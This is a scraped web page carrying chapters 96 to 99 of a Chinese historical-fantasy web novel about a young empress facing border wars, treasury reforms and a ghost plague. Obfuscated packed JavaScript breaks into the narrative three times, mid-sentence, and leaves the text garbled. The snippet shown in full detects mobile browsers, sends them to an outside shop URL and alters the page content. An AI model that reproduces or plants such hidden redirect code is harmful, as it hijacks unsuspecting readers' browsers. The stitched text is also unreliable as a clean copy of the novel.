虽是寝殿,五步之远却有处昼夜点灯的暗门,流筝望着周昭那道纤瘦的背影消失在门口,终究还是将那珍贵的药丸倒回瓶中,低头应道:“是。” 这处隔间陈设简单至极,无外乎一只桌案,一张软榻。 桌上堆着高高两摞奏折公文,左边一摞是这半年的战事急报,右边则是槐鬼近况,多半是由闫斯年呈上来的。 除了这两样,桌角还有一支新鲜的梅花,装在玉兰色的花瓶里。 周昭这半年睡着的时候少,夜里竟有一半的时间是在这张桌子前度过的。她从不让人进来服侍,连流筝也只是添茶点灯后便离开。 周昭从左边那摞取了最上面的一本奏折,其实这本她白日已经看过。 霍璋在北疆大捷,斩落孟舒王子袁良人头,孟舒与鞑子八大部落盟军后退五十里,又遇雪松山雪崩,损失惨重。 这算是上半年难得的好消息,周昭又看了一遍,却仍静不下心。 她提起笔想写几句嘉奖的话,笔尖悬在“雪松山”二字上空,奏折上面那些密密麻麻的小字却化开漆黑的墨色,渐渐变成一副雪景图—— 雪山底下有人披一身雪白狐裘,骑着马缓慢地往前走。那人于马背上回头招手,微笑道:“小昭。” 周昭腾得站起来,定睛再看,哪里有什么雪景图,不过是她看花了眼。又看了几本奏折,却总静不下心,索性丢开。 时候还早,但上床睡觉是不能了,她便坐在窗边看雨。 雨声又急又猛,周昭推开半边窗,豆大的雨点打在身上并不觉得痛。她听着雨,便能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说来修建地宫本是工部的事儿,但工部尚书不久前也变成槐鬼自身难保,只能闫斯年这位禁军总督亲自查办。 兰令仪听着左右议论,觉得心烦,抱着双臂站远了点。 礼部尚书李知远就是这些文官的头儿,虽然对于军事兵法一窍不通,就像天底下所有文人一样,什么都想说上两句发表高见。 李知远为人尖酸刻薄,爱拍马屁,大是大非却拎得清。永安门之变陈子明谋反,意在胁迫周澈做傀儡皇帝,策反了不少官员,其中就有李知远。他先假意应下,转头就向霍璋通风报信。 当然,这些都是李知远自己说的。 至于霍璋是不是最先从他这里得到的消息,那可难说了。 但李知远坚信自己是开国功臣,并常常以此自居,他进言道:“陛下,近日听说有许多和尚道士被召进宫,微臣觉得不妥。” 周昭抬眸道:“哦?何处不妥?” 李知远侃侃而谈:“我大周建朝以来,便只敬人皇天子,不信神鬼修道。道士术士之流,善用幻术,术法惑人,怎能进宫玷污庙堂!” 眼见周昭要发怒,李知远早有应对,立刻叩首接着道:“先朝虽有国师先例,但国师心怀苍生,久居苍界山,说是修道之人,可从未见过国师他使出过什么幻术邪术。国师尚且如此谨慎小心,不敢坏了老祖宗流传下来的规矩,那些个不入流的术士,陛下还是该离远些好。” 这话说得滴水不漏,让人挑不出错。李知远开了头,一帮世族连声附和,口径统一,都是在劝谏帝王不可乱了规矩,不可与术士结交。 周昭倒也没急着反驳,心道:“冥顽不灵,一群老古董!如今槐鬼成灾,不靠术士另辟蹊径想办法,难道坐着张大嘴等吃人!” 她抬手道:“诸位爱卿,朕又没说要如何,都起来说话。” 其实先朝并非只有江梅棠一位道士,还有虚无渡。 宣庆帝那时抓到了虚无渡这根救命稻草,虽以国师之礼待之,但还没来得及授职。周昭甫一登基,立马收到了如山的折子,朝臣联名上书,阻止为虚无渡授官加爵。那时李知远的原话是: 为保周朝千秋基业,术士之类,暂时用之,倚之,但不可重用,亦不可加官。 这些官员的心思周昭门清儿,祖制重如山,不可撼动是一方面。怕朝野掀起修道之风,曾经最下等的道士摇身变凤凰,骑在世家头上拉屎才是真。 这个话题被周昭暂且敷衍过去,问:“栎阳、洛州等地,接连举兵,众卿有何看法。” 大理寺卿张文山道:“臣以为,当务之急是派兵急往,晚了,怕是汴西十三州要一呼百应。” 周昭点点头,问:“诸位有何人选?” 李知远抢道:“陛下,臣那侄儿虽不成器,也能带兵......” 兰令仪忍不住大笑道:“你说李勇?那确实不成器。” 97. 第 97 章 李勇就是当年兰令仪在城北抽了两鞭子的那名禁军头领,不知是不是李知远授意,陈子明谋反那晚,本该在北衙的李勇却混进了霍璋的队伍,事后也按例得了赏。 李知远这话本就荒唐,因着他资历老,所以无人敢驳,兰令仪这一笑,带着周围官员也掩面作笑。 李知远红着脸道:“就算不能带兵!当个前锋总可以的吧!” 兵部尚书孙旻看不下去,翻脸骂道:“前锋?大将军你要不要!” 底下吵作一团,周昭轻轻摔了奏折,目光微睨。 李知远识趣地不敢再说。 寂静中,龙椅上的人淡淡道:“众卿,怎么看?” 兰令仪正色道:“陛下,汴西这两年一直不安分,眼下见北边战火不休,也妄想浑水摸鱼。栎阳、洛州虽小,臣怕这只是个幌子,用来试探我朝余力。因此这一仗必须打,不光要打,还要速战速决,方能安定汴西。” 孙旻粗声粗气地接话道:“臣站兰将军!” 周昭没说好,也没说不好,举起一封信,道:“跟战报一同来的,还有凉州递来的请愿书。定西王信上说,愿出兵助大周平乱。” 李知远悄声对左右道:“那岂不是不费我大周一兵一卒?定西王倒是忠心。” 有人点头,有人犹疑,户部尚书王文竹赶紧道:“陛下,臣有一言。” “讲。” “既然定西王愿意出力,咱们还是……还是不出兵的好。”他瞄了眼周昭神色,继续道,“虽说我朝地广人多,但若连年战事不休,臣怕......” 周昭打量他,问道:“怕什么?朕记得先帝在时,曾说国库充盈,至少可保二十年国力不衰。怎么,朕刚登基不到半年,爱卿就来哭穷?” 王文竹忙道:“臣不敢。” “凉州虽与周朝交好,但这信来的时机太巧。”周昭将那封信丢到一边,“汴西十三州各怀鬼胎,这一仗,必须大周来打。” 兰令仪起初还担心周昭疲于应付汴西,此时喜道:“陛下,臣愿出兵!” 周昭点点头,又转向户部尚书,问道:“尚书,能不能打?” 王文竹哪敢说半个不字,惶恐跪地道:“能打,能打。” 等退了朝,王文竹才反应过来被周昭摆了一道。 当年宣庆帝的确说过,国库可保二十年有余。但那都是多少年前的事儿了,这新帝还跟他要二十年!他上哪儿找那么多银子去?王文竹哭丧着脸,忙着筹备军饷去了。 承乾殿只剩下周昭跟兰令仪两人,没有旁人在,周昭并没有朝堂上那么冷淡凌厉。 虽然面容依旧无甚表情,语气却软和许多:“兰将军,朕给你八万兵马,够不够?” “鼠辈何用八万大军?”兰令仪挑眉道。 “不,朕是要你用这八万大军,替朕守住甘南腹地。将军,你来。” 兰令仪跟随周昭走到侧殿,墙上挂着一副巨大的地图,一道汴江隔开大周与汴西。 渡过汴江,甘南地势平坦一览无余。 兰令仪皱眉道:“陛下,这些年咱们光顾着北边儿,西南倒是疏忽了。” 周昭点头道:“汴西十三州形势复杂,一旦乱了,敌军横渡汴江,届时想挡住也难。” “西南太分散,论熟悉程度,咱们远不如定西王。臣在南疆也听到过些只言片语,说凉州一家独大,定西王早年背靠周朝,可是捞了不少好处。如今汴西起兵,凉州嘴上说着要替我朝打仗,实际却对栎阳借道凉州态度模糊。就怕,定西王是两边押宝。” “旧账暂且不算,凉州还动不得。” “臣明白。兰家军都在南疆驻守,有阿南守着,臣没什么后顾之忧。”兰令仪本就是为贺新帝登基回盛都,并不久留,眼下的确是带兵的不二人选。 周昭握住她的手,神情凝重道:“令仪,朕将汴西交给你了。” 兰令仪心念大动:“臣兰令仪,定不负陛下所托!” 周昭扶她起身,拜道:“多谢将军。” “陛下折煞臣了!” 兰令仪看着周昭,有一瞬间的恍惚。不由想到多年前第一次见面,竟有恍若隔世之感。 说是一国之君,也才不到双十年岁。 “将军?”周昭道。 兰令仪回过神,忍不住道:“臣走以后,还望陛下千万保重身体。” 周昭难得微微一笑,却是苦涩居多:“朕会的。” 她目光落在兰令仪腰间那只软鞭上,道:“将军这鞭上坠的穗子真好看,是新得来的?从前没见过。” 兰令仪抚着鞭首上一串红色珠穗,笑道:“这是前几日路过东市,见样子别致便买了,陛下若喜欢,我送你可好?” 她说完才自知失言,周昭像是没注意,摇头道:“朕说说罢了,这珠穗很衬将军神采。” 二人又就汴西局势商讨了小半个时辰,周昭留下兰令仪用饭,席间又说到战事,兰令仪道:“从前跟在陛下身边那位小靖王,虽不是周朝人,倒是忠心。” “折杞年纪小,却善用兵,海疆那边朕很放心。” 兰令仪无意道:“看来小靖王从前八成是藏拙,在盛都不显山露水的,出去了反倒闯出一番天地。” 周昭不做评价,只道:“折杞从前过得不容易。” 兰令仪对折杞不过几面之缘,谈不上相熟。 夏日炎热,她心火燥得慌,饮了杯冷酒,道:“陛下,如今槐鬼暂时被控制住,反倒不是最可怕的,怕的是这战事没完没了。您不觉得,这些年各地起兵有些频繁吗?我听说姜国有支银甲鬼兵,最早北疆也有,但过了年,这些鬼兵一夜之间却突然都凭空消失了。臣以为,这其中怕是有古怪。” 这话正说到周昭心里,她略动了动筷子,放下道:“将军可姓鬼神之说?” 兰令仪沉吟道:“陛下是说,从槐鬼到这些鬼兵,都是妖邪作祟?” 周昭不置可否,想起那夜出现在昭阳殿的“鬼王”,不由感叹道:“要是师父还在就好了。” 兰令仪没见过江梅棠,却听说过这位神通广大的国师,一时沉默,无言劝慰。 周昭漫不经心道:“孟舒袁良被斩,其父袁浩年迈,不足为惧。袁浩儿女虽多,出众的只有袁良一个。北疆这场仗,终于要告一段落了。” 她侧过脸:“等霍将军凯旋归来,朕要摆酒为他接风洗尘。兰将军,可会来?” 当年霍将军违令私自回盛都,其中缘由仅有寥寥数人知晓,周昭早将此事告诉了兰令仪。对方听说后却没什么反应,周昭还当自己会错意。 可眼下见兰令仪表情,似乎又不是那么回事儿。 兰令仪眸光流转,眼睛下面那颗小小的红痣煞是动人,见周昭目光探究,一动不动地盯着自己,反倒坦然笑道:“好啊。” 她豪迈地饮尽杯中酒,促狭道:“陛下可不能偏心,等臣从汴西回来了,也要讨一桌酒吃。” 周昭点头道:“朕等将军好消息。” 兰令仪饮了几杯酒,话也多起来,竟敢胡言乱语道:“陛下,您有没有喜欢的人?” 周昭愣住,不合时宜地想起一个人。 兰令仪确实醉了,絮絮叨叨地说道:“多少年了,多少年了......”她说完这句就脑袋一沉栽倒在桌上,周昭唤人来:“送兰将军回府。” “兰将军酒量何时这么小了?” 男子背着药箱缓步而来,他微微笑着打趣,好在兰令仪已经走远了,听不见这句话。 周昭转身道:“啊,宁兄,你来了。” 宁啻嗯了一声,扫了眼饭桌,又跟变戏法似的拿出一只冰碗,里头盛着十余颗鲜红荔枝:“陛下,你夏日胃口不好,这个可愿意吃些?” 周昭从碗里捡了颗荔枝:“是流筝又跟宁兄说什么了?” 宁啻不置可否:“上次配的药今日就该吃完了,我来看看。” 周昭吃完一颗又去拿,突然呀了一声,举着荔枝道:“这颗味道很奇怪。” 宁啻微微挑眉,玩笑道:“我取了几颗用药蒸过一遍,对你身体好,没毒。” 周昭笑了笑,只有宁啻才能想出把药混在荔枝里的法子,倒也不抗拒,安安静静地将那碗荔枝吃干净了。 宁啻替她诊完脉,摇头道:“亏得你自小习武底子不差,换个人,我也没办法治。” 周昭不以为然道:“死不了就行。” 宁啻脸色不大好,周昭只好又找补道:“只睡觉不大好,真的不要紧。” 宁啻抬眸看她,目光隐隐有几分责备,末了又微笑道:“陛下,我讲个故事给你听。” “好。” “从前在黎国有个野小子,自小便羡慕澹洲仙人传闻,为此他日夜练功,痴心妄想有朝一日也能悟道成仙。在他九岁那年,误饮了一盅被下了毒的梨汤,虽然保住性命,此生却与修道习武无缘了。” “不光如此,他才知道那碗梨汤是他的母亲为他父亲备下的。少年一气之下离家,他余毒未清,晕倒在山脚,后来被山中一位云游神医所救。神医告诉他,小子,这世上最珍贵的只有自己,你若是连自己都不爱,还指望谁能爱你呢?” 周昭半晌无言,宁啻收拾好药箱,起身道:“好了,我回去了。新配的药已经交给流筝,记得按时吃。” “宁兄。” “嗯?怎么了?” 周昭淡淡笑了笑,道:“谢谢你。” 宁啻微笑道:“好好休息,我走了。” 五日后,兰令仪挂帅出征。 至于那封凉州送来的信,则由兰令仪原封不动地还给定西王。 栎阳王一听将帅是赫赫威名兰令仪,竟连夜撤了军。 至于洛州,也是不经打的主儿,汴西捷报频传,连着周昭心情也好了许多,加上宁啻一服服药送进宫,和流筝变着法儿做些清淡药膳,周昭再没有夜间呕血。 等到十月末,周昭气色已经较夏日大好。 不过时至今日,除了将染上槐鬼的百姓移入地宫,还未找到彻底的解决之法,这件事始终像悬在头顶的一把剑,随时都要掉下来要命。 每日都有新的人染病异化,有新的人头长出来,闫斯年恨不得禁军每个人长出三头六臂,一人发三把铁铲挖地开坑。 再说打仗要银子,修建地宫要银子,地宫里那么多嘴吃饭也要银子,除了这三样必不可少的开支,一个家中若是男丁染病,朝廷便免其赋税,这项政策是周昭提出来的。 虽然利民,却不利户部王文竹。 王文竹每日都在户部打算盘,数银子,算珠都快让他打出火星子。 有一日,听说闫斯年又来户部要银子,王文竹二话没说从后门溜得飞快,一路跑进宫,他去时满腔愤慨,心说就是陛下要我这颗人头,我也要横着脖子说一句没钱,就是没钱! 说破大天也没钱! 但等他真的到了上书房,宫人进去通报,王文竹又两腿发软, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如今王文竹捏着账本,就像是脑袋给伸进了铡刀底下。只要上头那位再说一句,估计他就可以横着出去了。 “臣、臣……” “你若是不来,朕倒是得考虑考虑,这户部的帐是不是换个人才能算得好。”周昭手指敲了敲龙椅,话锋一转,“爱卿既然来了,说明这帐,你还是能算。” “能算!臣能算!” 周昭打了个眼色,小乐子识趣地又把账本呈上来。 “说吧。”她道,“小乐子,你先退下。” 王文竹这才明白,皇帝这是给他下马威。但他明白也无济于事,跟脑袋比起来,烂账算什么! 于是一五一十老老实实,将该说的不该说的统统都说了。 说来说去,其实就五个字:户部没钱了。 他说得痛快,说完又偷看皇帝脸色,无比失望地发现看不出来皇帝心里在盘算什么,但直觉如今他这脑袋,算是从铡刀底下挪出来半边儿。 “有什么法子?” 问我有什么法子??? 王文竹暗暗叫苦。 不打仗?增加赋税?不修地宫?哪一个是能说的! 他吞吞吐吐,捡着不要紧的说了几个。 周昭摇摇头,道:“不妥,朕给你出个主意。宫里的开支减去一半。” 王文竹惊道:“陛下,这、这……” 周昭冷冷道:“这宫里除了朕,还剩别的主子要侍奉吗?光宫里这项流水,户部的帐竟然跟往年没差别,银子去哪儿了,当朕是傻子吗!” 王文竹磕头不迭,惶恐道:“臣回去就严查。” 周昭脸色和缓,又语气温和道:“好,这是第一。” 她顿了顿,继续道:“爱卿,朕看朝廷每年发出去的晌银似乎也不少,你说呢?” 王文竹心道:这声爱卿断不敢当。 脑袋虽然从铡刀底下拿出来了,皇帝又亲手拿绳子套了个圈儿,等着他伸长脖子往里钻。 他不想钻,但又不敢不钻,赔笑道:“微臣倒是觉得,陛下您都减少用度,咱们做臣子的,理应为国分忧。别人不知道,臣愿意拿出一半俸禄充入国库。” “好!爱卿不愧是肱骨之臣。” 王文竹心都在滴血,还得笑着谢恩。 但往深了说,此举其实不妥。 新朝刚立,便动官员的俸禄,危险,危险得很呐。 王文竹心里直打鼓,抬头一看,周昭正好整以暇地盯着他,当即冒了一脑门子汗,脑子转过弯来,忙道:“陛下,臣刚才言语有失,这俸禄是百官的命根子,眼下怕是、怕是动不得。” 果然,周昭道:“接着说。” “国库,历来都取之于民。要想充盈国库,最简易的法子是臣刚才提的征收赋税,又分增收土地税,盐铁税不一而足。也有些非常规手段,如捐官剿晌,铸劣钱。” “至于……降低俸禄,则是反其道,不取民而取官,虽短期有效,但俗话说三年清知府,十万雪花银。官员没了钱,缺的钱从哪儿来?”王文竹大着胆子道,“臣恐此法动摇社稷根基,还请陛下三思。” 周昭颇为满意地点头,抚掌道:“说得好。既如此,朕再给你出个法子。” …… 王文竹走出殿门,咬碎牙往肚子里咽,回去就把那算盘摔了,摔完又心疼钱,还得捡起来接着用。 等写完了折子半夜躺在床上,这位官场纵横多年的户部尚书突然生出劫后余生之感,万分庆幸自己早去一步。 今日看似是他进言,实则是皇帝试他这户部尚书的斤两,只要说错一句,估计乌纱帽已经不在脑袋上顶着了。 王文竹不由对这新登基的年轻帝王又怕又敬,辗转反侧,一直到天蒙蒙亮,方顶着眼下两圈乌青上朝去了。 98. 第 98 章 安平元年秋,户部尚书递上一封奏折,在朝堂内掀起轩然大波。 其言,为充盈国库,使前方战事无后顾之忧,户部特设“平乱粮库”。 不光五品以上官员要拿出一半俸禄放入这粮库,就连皇帝也得以身作则,省下一半开支交给户部。 最先跳脚的,自然是礼部尚书李知远。 他指着王文竹大骂户部管天管地,竟敢管到陛下头上。言辞之愤慨,神情之激动无不令人动容。 王文竹却视而不见,目不斜视,宛若死人。 不必说,除了前一天去户部要账的闫斯年明白其中内情,其余官员大都眼泛红光摩拳擦掌,简直像户部挖了他们家祖坟。 闫斯年偷偷冲王文竹竖了个“兄弟真行,有事真上”的大拇指,然后站远几步继续闭目养神。 但不管被怎么骂,王文竹愣是不还口,到最后干脆学闫斯年装死。 “爱卿,”周昭将折子举起,王文竹听见这称呼便忍不住一抖,“你让朕……很是为难呢。” 来了,那套在脖子上的绳子又来了! “宫里的月例那是老祖宗定的,整个周朝都是陛下的,你个户部想钱想疯了吧!还想从陛下身上挖银子?!”李知远道。 王文竹面无表情,不卑不亢地跪地道:“陛下,话虽如此,但如今既无三宫六院,也无皇子公主,微臣以为,不如将这些银子省下来,留作日后用。” “你敢嘲讽陛下身边无人?” “户部是不是疯了?” “我看八成是户部那烂账对不上,想要钱填空子!” 众人议论纷纷,但任尔东西南北风,王文竹就是不开腔。 周昭抬了抬手,示意众人安静。她似乎有些倦地揉了揉眉心,指尖在龙椅上有一搭没一搭地敲着。 这声音敲得王文竹心里直发抖。 “陛下,户部设平乱粮库,仅是权宜之策。眼下国库紧张,若再不从长计议,就怕到时......”他看了眼李知远,“李大人你就是想要俸禄,也没得尚书可做了。” “你!”李知远大怒,转头道,“陛下!王文竹这是、这是咒大周亡国啊!其心可诛!” “都给朕住嘴。”周昭喝完这一声,向后靠去,盯住王文竹,淡淡道,“……朕倒是以为,户部说得有理。银子嘛,朕花不完,是该紧着前方将士们用。” “陛下英明!”王文竹见缝插针磕了个响头,欲哭无泪,心道:“我的好陛下,您总算开金口了。” “不过,朕孤家寡人,减去一半开支无妨。但众位大人都有家有口,这如何是好呢。” 王文竹赶在李知远前面道:“陛下!臣还有本奏!” “呈上来。” 满朝哗然,一个“平乱粮库”已经够匪夷所思,这户部竟然还有一份奏折! “均田法?”周昭念道。 “陛下,这均田法正是臣昼夜苦思冥想,得到的第二项变革之法。”王文竹说到这里突然有点心虚,周昭示意他继续,“我朝百姓按人头纳税,槐鬼现世后,那些因为染病丧失劳动能力的农民家中土地,多被地方士绅按极低的价格买入,又高价租给没有土地的农民,却不用多交税。如此一来,地多者越来越多,越来越富。没有地的年年缴税,年年交租。” “所谓均田法,其一,就是将荒废的土地重新丈量,禁止私售,由朝廷出面买卖。其二,改人头交税为按土地交税。地越多,税越高。” 不必说,这第二道奏折自然遭到了同样激烈的反对。 世族贵族哪一家手里没有千亩万亩良田,这均田法,怎么均?说白了,不是割自己肉往出去均嘛! 早朝足足比平时多开了一个时辰。 周昭似乎犹豫不决,频频询问朝中几位老臣意见,对这均田法不说好,也不说不好。 以王文竹为首的户部官员立场坚定,绝不退让。 几番唇枪舌战,王文竹道:“两道奏折,均是肺腑之言,若陛下实在难以定夺,就请从中择一法令实行。” “人头税是我大周国本,依朕看,还是设粮库好。不过五成太多......”周昭往前倾了倾,大手一挥,勉为其难道,“就四成吧!众卿以为如何?还是有人心系国运大公无私,愿意想跟朕一样,一半?” “陛下圣明!”王文竹高呼万岁。 “陛下三思!”李知远惶惶然道。 周昭啧了一声,状似无奈道:“这也不行,那也不行。不如,朕给你们三日时间,众卿回去慢慢想。要么,两案择一,要么,就给朕呈上来第三个充盈国库的法子。写得好的,朕重重有赏。听你们吵了一上午,朕脑袋都大了。散朝!” 周昭一挥袖,走了。 剩下百官面面相觑,大眼瞪小眼。 “恭送陛下!陛下圣明!” 闫斯年终于睡醒了,两眼一睁便跪下走流程。 台下众人相顾无言,跟着闫斯年跪完,站起来,稀里糊涂地出了承乾殿。 平乱粮库跟均田法两项新法,很快传遍盛都。 所谓手心手背都是肉,要是每人吐口唾沫,估计能把户部淹了。 但眼看三日之期已到,一个手掌总归是手背肉更少不是? 大部分折子都推崇起了均田法,甚至有官员专门就此法案跟人头税利弊,洋洋洒洒写了几千行大字。 周昭看了很满意,当即封他为变革专员。 对这两项法案的热议一直持续了整整一月,本该对两样都深恶痛绝的官员竟自发地分成了两派。 一派坚决拥护均田法,一派则并不十分绝对地支持设粮库。最终,这场政治变革以均田法的胜利告终。均田法经过了整整一月的讨论革新,已经比户部当初提出来的雏形更加完备。 尽管阻碍重重,但大部分百姓都对朝廷感恩戴德。等到均田法真正开始实施,已经是隆冬时节。 冬雪簌簌,百废待兴。 周昭将户部那本旧帐交给王文竹,一脸无所谓道,“这本账,朕看得眼花,爱卿拿回去吧。” “谢陛下。”王文竹哆哆嗦嗦接过那本私账,心想他这条烂命算是保住了。 当初“平乱粮库”本就是个没打算用的引子,用从官员身上直接刮下一层油水的平乱粮库,引出后面真正的良策“均田法”。 周昭跟王文竹演了出戏,如今戏台落幕,就算有人后知后觉咂摸出味儿了,也为时未晚。 “虽说平乱粮库没成,宫里的用度还是分出一半,给平南王府,睿王府,还有……”周昭顿了顿。 王文竹心里咯噔一下,平南王和睿王都是当今陛下的亲哥哥,如今虽不在人世,王府却还有一大家子要养活。 可剩下那位安宁王......还没活到成家的年纪。 “交到两位王妃手里,去办吧。” “是,微臣告退。” 今夜没有星光,夜色沉得像墨。 周昭整个冬日都一心扑在新法案上,每日不是在上书房接见大臣,就是熬夜看折子,流筝不得不偷偷把安神香加重了些剂量。 这日周昭服了药,又批了半个时辰折子。困意来得突然,倒头便睡。 不知过了多久,突然听见一阵飘渺的歌声—— “......小娃娃,过家家。掉河里,淹死啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069511|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “魇鬼愁,疟鬼哭,剩下魍魉不说话。小娃娃,捡石头,分给你我变疙瘩……” 谁?谁在唱? 周昭在睡梦中想睁开眼睛,但无论怎么努力都无济于事。 那歌声似鬼哭,忽近忽远,压在她心口喘不上气。 “周昭,周昭……” 谁在叫我? 那声音忽然发笑,笑声如老妪,片刻又如婴孩,简直像是趴在她耳边,尖声细嗓:“周昭,你杀了自己的母亲,杀了亲哥哥,怎么还能睡得着!” 周昭尖叫一声,猛地睁开眼睛,捂住耳朵坐起来。 流筝急匆匆跑进来,惊呼道:“陛下!陛下你怎么了?” “点灯!给朕点灯!” “陛下!点着灯呢,您看,点着灯!” 流筝将烛台举到周昭面前,映出一张惨白惊惶的脸,她从没见过周昭这幅模样,骇了一跳。 周昭在烛火下叫道:“不、不够!太黑了!” 她抓住流筝的胳膊:“你有没有听见有人在唱歌?你听,他在唱歌!” “陛下,哪儿有人唱歌?” “你听不见?”周昭松开她。 流筝将烛台放在一边,起身去点灯。 她手脚麻利,不一会儿寝殿便宛如白昼,一回头,惊惧道:“陛下!” 她一把上前抢过周昭手里的烛台,抓住她的手,心疼地直掉眼泪:“好端端的,干嘛拿这个烫自己!” 周昭木愣愣地转过脸,像根本感觉不到痛似的,喃喃道:“流筝姐姐,我想知道……我是不是在做梦?” 周昭披散着头发,整个人看上去小小的,缩在素白的纱帐里,跟平时坐在龙椅上判若两人,这时候的她让流筝想起了从前昭阳殿里的那位公主。 流筝转过身,捂住嘴小声地哭。 她掏出帕子,一点点擦干净周昭手背上滚烫的蜡油,她的皮肤白嫩,帕子挨着便擦掉一层皮。 流筝出去又很快进来,好在殿里还备着些没用完的冰,她将冰块包在帕子里,小心翼翼地敷在烫伤的地方,试探道:“陛下,我去传太医,好吗?” 周昭果然不肯,流筝只好就着那方帕子给她降温,心里盘算着要多备着常用的药才行。 自从去年冬,周昭就像变了个人,寡言少语,好像只有早朝和召见大臣时是活着的,其余时候几乎不多说一句话,要么就是像这样半夜惊醒。 流筝知道周昭是在为皇后娘娘跟五殿下折磨自己,但她从来不敢问。 折腾了小半个时辰,周昭终于睡下。 流筝出去时将所有灯都点着,周昭躺在这灯火通明的宫殿里,却还是觉得黑。 她直直地望着头顶的纱幔,一动不动,不敢闭上眼睛,不敢睡觉,聚精会神地听着空气里可能会有的歌声。 但那声音却再没有出现,就好像刚才是她的幻觉。 周昭盯得眼睛发酸,一滴泪顺着眼角滑入鬓角,她还是不敢闭眼,孤独与恐惧像这无尽的黑夜将她包裹碾压,周昭感觉自己呼出的气都是冷的。 她忽然听到一阵飘渺的箫声。 周昭先是一惊,随后又愣怔住。 这箫声从很远的地方飘过来,吹的是一支再简单不过的调子。在她很小的时候,皇后曾将她搂在怀里哄睡,哼的就是这支小调。 有十多年了,周昭不曾听过这曲调。 吹完一遍,那箫声似乎知道她还想再听,于是悠悠然然的调子,又在似乎很遥远的地方再度响起,一直被殿内摇曳的烛火送到她耳边,就像从前躺在皇后怀里那样。 周昭闭上眼睛,很快睡着了。 99. 第 99 章 安平二年,均田法由盛都向外县逐步推行。 短短半年时间,户部尚书王文竹虽然还是整日抱着算盘珠子,但神情已大不相同。整日容光焕发,与一年前简直不可同日而语。 这一年,闫斯年修建地宫亦颇有成效,虽然要想将槐鬼都收到地宫不可能,但朝廷将此法推广全国,加之早前折杞发现的牵机能克槐鬼的法子。因槐鬼而死的人数大大减少,新增数目也渐趋平缓。 如今北边战事将歇,孟舒自袁良死后一败再败,察罕图看情况不对立马背信弃义,退回北边去了。 辽东海疆姜、赵、何罗三国结盟,由折杞镇守。 南疆蛮荒之地反倒太平,原兰令仪副将南星于南疆开垦土地,自给自足。 至于西边,年前就打了胜仗,连态度模糊的凉州都频频送信,愿与大周和亲交好。 周昭看了那凉州王的信不由发笑,莫说如今王室没有适龄公主,就算有,她也绝不会用女子换太平。 不过,周朝史上并非没有和亲的前兆。 最广为人知的是与黎国和亲,但那是当时的黎国质子与一位公主情投意合。后来质子还朝,甫一登基便派使臣求亲。帝后举案齐眉,后宫等同虚设,传为一段佳话。 另一段就比较匪夷所思了。 那还是成祖周戈言时期,据说周朝与当时还未被风沙掩埋的月临和亲,但送去的公主却在半路遇到大风沙,送亲队伍悉数被掩埋。 不过这次和亲并未载入正史,民间倒是有许多传闻,有说月临目中无人凌辱公主致死的,也有说和亲是假,成祖是看上了那小国里的一位女子。 借着那场虚无缥缈的风沙,成祖抱得美人归,在无妄海边为她修建了一座繁华的宫殿。 也有更离谱的,说是那女子压根不是月临国人,而是无相渊底的一只女妖,是月临专门派来蛊惑成祖的。 周昭对此只当话本看看,无妄海她去过,哪有什么繁华宫殿?她第一次听见这个故事觉得匪夷所思,是因为不敢相信像成祖那样的千古一帝,竟然也会用女子和亲。 这时小乐子来通传:闫斯年已经在外头候着了。 闫斯年这趟进宫心里纳闷儿,按理说他那例行公事的折子刚递上去没多久,这会儿找他又为什么事儿呢……他虽然之前就跟周昭关系不错,但此一时彼一时,闫斯年还是有分寸。 他心里直打鼓,进了议政厅还没行跪礼,周昭便免了他的礼数,问道:“统领近来还忙吗?” “托陛下的福,不忙。”闫斯年一本正经道。 周昭似乎不大满意他的回答,眼神中很轻微地划过一丝失望,闫斯年赶紧找补道:“如今地宫修得差不多了,槐鬼基本控制住,百姓也都敢出门做买卖,微臣昨日还去北市逛了一圈儿,虽然还没完全恢复到从前繁华,也在慢慢往好的方向发展。这一切全都仰仗陛下,要不是陛下大刀阔斧改革——” “行了,朕找你来不是听这些的。”周昭挥手打断闫斯年的话,蹙着眉头道,“爱卿,朕问你,为何这些年边境之地,四方之国总是寻衅滋事,就跟野草似的,春风吹又生。” 闫斯年立马反应过来了。 天子的心病,不在槐鬼,也不在钱粮,在军事。 周朝地大物博,除了很短暂地出现过几次大动乱,历朝历代都是太平盛世。 久而久之,弊端也浮出水面。朝廷重文轻武,朝堂上文官的口水凑合凑合,都能接满一盆把龙椅淹了,武将还得扒拉开人群仔细点儿找。 这种情况其实在宣庆年间就已经显现出来。虽然按照常规,边疆都有大将坐镇。但没仗可打,有的士兵一直到老死都没见过敌人,久而久之,就提不动刀了。 那是宣庆十五年,鞑子八大部落结束多年混战,选出一位可汗统一草原,新王第一件事便是攻周。 那时候驻守北疆的还是霍璋的父亲镇北侯,虽然听着名气威震四海,实际上很少人知道,镇北候是个只知舞文弄墨,不懂排兵布阵的世家子弟。敌人还没怎么打,先丢了北疆三大城。 但镇北候也算是条书生里的汉子,领着一队亲兵几乎是自杀式地偷袭了鞑子营地。镇北候以这种方式战死沙场,给霍家留了个满门忠烈的好名声,也敲响了几百年来偏安一隅的警钟。 那一年的霍璋,其实也只有十六岁。 也是那一年兰令仪偷偷追着霍璋到北疆,次年北疆大捷,宣庆帝为他二人赐婚。 “爱卿?” 